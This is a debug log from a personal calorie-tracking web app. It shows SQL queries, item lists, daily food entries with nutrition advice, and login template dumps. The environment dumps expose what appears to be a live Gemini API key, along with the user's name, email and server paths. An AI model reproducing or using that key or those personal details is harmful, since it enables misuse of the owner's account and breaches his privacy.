  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T08:43:05.429Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T08:43:05.433Z server-connect:app Executing action step identify
2025-12-16T08:43:05.433Z server-connect:app options: { provider: 'security' }
2025-12-16T08:43:05.433Z server-connect:output identity: 1
2025-12-16T08:43:05.433Z server-connect:app Executing action step restrict
2025-12-16T08:43:05.433Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:43:05.434Z server-connect:output restrict: undefined
2025-12-16T08:43:05.434Z server-connect:app Executing action step select
2025-12-16T08:43:05.434Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T08:43:05.436Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T08:43:05.436Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T08:43:05.436Z server-connect:app Executing action step identify
2025-12-16T08:43:05.436Z server-connect:app options: { provider: 'security' }
2025-12-16T08:43:05.437Z server-connect:output identity: 1
2025-12-16T08:43:05.437Z server-connect:app Executing action step restrict
2025-12-16T08:43:05.437Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:43:05.437Z server-connect:app Executing action step identify
2025-12-16T08:43:05.437Z server-connect:app options: { provider: 'security' }
2025-12-16T08:43:05.437Z server-connect:output identity: 1
2025-12-16T08:43:05.437Z server-connect:app Executing action step restrict
2025-12-16T08:43:05.437Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:43:05.437Z server-connect:output restrict: undefined
2025-12-16T08:43:05.437Z server-connect:app Executing action step single
2025-12-16T08:43:05.437Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T08:43:05.438Z server-connect:output restrict: undefined
2025-12-16T08:43:05.438Z server-connect:app Executing action step single
2025-12-16T08:43:05.438Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T08:43:05.439Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T08:43:05.439Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T08:43:05.440Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T08:43:05.440Z server-connect:app Executing action step select
2025-12-16T08:43:05.440Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T08:43:05.441Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T08:43:05.441Z server-connect:app Executing action step setvalue
2025-12-16T08:43:05.441Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T08:43:05.441Z server-connect:output var_total: 1071
2025-12-16T08:43:05.441Z server-connect:app Executing action step setvalue
2025-12-16T08:43:05.441Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T08:43:05.442Z server-connect:output var_consumed: 45
2025-12-16T08:43:05.442Z server-connect:app Executing action step setvalue
2025-12-16T08:43:05.442Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T08:43:05.442Z server-connect:output var_deficit: 1329
2025-12-16T08:43:05.442Z server-connect:app Executing action step custom
2025-12-16T08:43:05.442Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T08:43:05.443Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 09:01:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 09:01:50' as DATETIME)"
}
2025-12-16T09:27:18.247Z server-connect:router Serving templateView /
2025-12-16T09:27:18.247Z server-connect:app Executing action step identify
2025-12-16T09:27:18.247Z server-connect:app options: { provider: 'security' }
2025-12-16T09:27:18.247Z server-connect:auth No login cookie found
2025-12-16T09:27:18.247Z server-connect:output identity: false
2025-12-16T09:27:18.247Z server-connect:app Executing action step restrict
2025-12-16T09:27:18.247Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T09:27:18.248Z server-connect:output restrict: undefined
2025-12-16T09:27:18.543Z server-connect:router Serving templateView /login
2025-12-16T09:27:18.543Z server-connect:app Executing action step identify
2025-12-16T09:27:18.543Z server-connect:app options: { provider: 'security' }
2025-12-16T09:27:18.543Z server-connect:auth No login cookie found
2025-12-16T09:27:18.543Z server-connect:output identity: false
2025-12-16T09:27:18.543Z server-connect:router Render template layouts/authentication
2025-12-16T09:27:18.544Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '142.93.153.223',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T09:27:18.542Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.93.153.223',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '142.93.153.223',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-16T09:27:19.340Z server-connect:router Serving templateView /
2025-12-16T09:27:19.341Z server-connect:app Executing action step identify
2025-12-16T09:27:19.341Z server-connect:app options: { provider: 'security' }
2025-12-16T09:27:19.341Z server-connect:auth No login cookie found
2025-12-16T09:27:19.341Z server-connect:output identity: false
2025-12-16T09:27:19.341Z server-connect:app Executing action step restrict
2025-12-16T09:27:19.341Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T09:27:19.341Z server-connect:output restrict: undefined
2025-12-16T09:27:23.069Z server-connect:router Serving templateView /login
2025-12-16T09:27:23.070Z server-connect:app Executing action step identify
2025-12-16T09:27:23.070Z server-connect:app options: { provider: 'security' }
2025-12-16T09:27:23.070Z server-connect:auth No login cookie found
2025-12-16T09:27:23.070Z server-connect:output identity: false
2025-12-16T09:27:23.070Z server-connect:router Render template layouts/authentication
2025-12-16T09:27:23.070Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
